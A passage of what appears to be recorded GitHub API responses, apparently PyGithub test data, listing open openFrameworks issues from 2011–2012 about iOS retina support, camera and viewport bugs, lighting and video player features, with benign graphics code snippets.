Parameters","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-01-27T19:43:31Z","state":"open","user":{"url":"https://api.github.com/users/NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","id":142694},"id":556923,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/424"},{"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","comments":0,"milestone":null,"number":423,"assignee":null,"closed_at":null,"title":"problem with reloading movies in osx","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2011-01-24T22:34:29Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":548302,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/423"},{"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":421,"assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"closed_at":null,"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2011-01-24T20:52:18Z","state":"open","user":{"url":"https://api.github.com/users/snibbe","avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","login":"snibbe","id":581517},"id":548070,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/421"},{"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","comments":0,"milestone":null,"number":418,"assignee":null,"closed_at":null,"title":"something to wrap glMultMatrixf","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-01-22T15:57:37Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":543729,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/418"},{"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","comments":0,"milestone":null,"number":417,"assignee":null,"closed_at":null,"title":"3D isn't scale invariant in certain parts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-01-22T15:24:07Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":543694,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/417"},{"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","comments":3,"milestone":null,"number":414,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"Simulator not working with any examples ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-20T20:17:35Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":539979,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/414"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '39721'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"3d3037764dd77af4d0d48c0efe09d81d"'), ('date', 'Tue, 29 May 2012 06:43:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":413,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"ofCamera::setPan is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-01-20T20:01:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":539915,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/413"},{"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","comments":0,"milestone":null,"number":412,"assignee":null,"closed_at":null,"title":"add setMultisampling method to glutWindow","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"created_at":"2011-01-20T19:33:30Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":539845,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/412"},{"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":410,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-01-20T18:59:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":539744,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/410"},{"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","comments":0,"milestone":null,"number":406,"assignee":null,"closed_at":null,"title":"ofEnableLighting","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-19T19:39:36Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":537416,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/406"},{"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","comments":0,"milestone":null,"number":405,"assignee":null,"closed_at":null,"title":"ofViewport doesn't match rest of openFrameworks coordinates","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-01-19T13:24:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":536614,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/405"},{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"assignee":null,"closed_at":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":532954,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/403"},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"assignee":null,"closed_at":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":532096,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/400"},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"assignee":null,"closed_at":null,"title":"ofGetPreviousMouseX/Y() does not update per frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":529705,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/391"},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"assignee":null,"closed_at":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":529700,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/389"},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"assignee":null,"closed_at":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":529646,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/387"},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"closed_at":null,"title":"ofVideoPlayer setVolume uses an int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":529268,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/375"},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"assignee":null,"closed_at":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":527591,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/357"},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"assignee":null,"closed_at":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":526094,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/347"},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"assignee":null,"closed_at":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":524875,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/340"},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 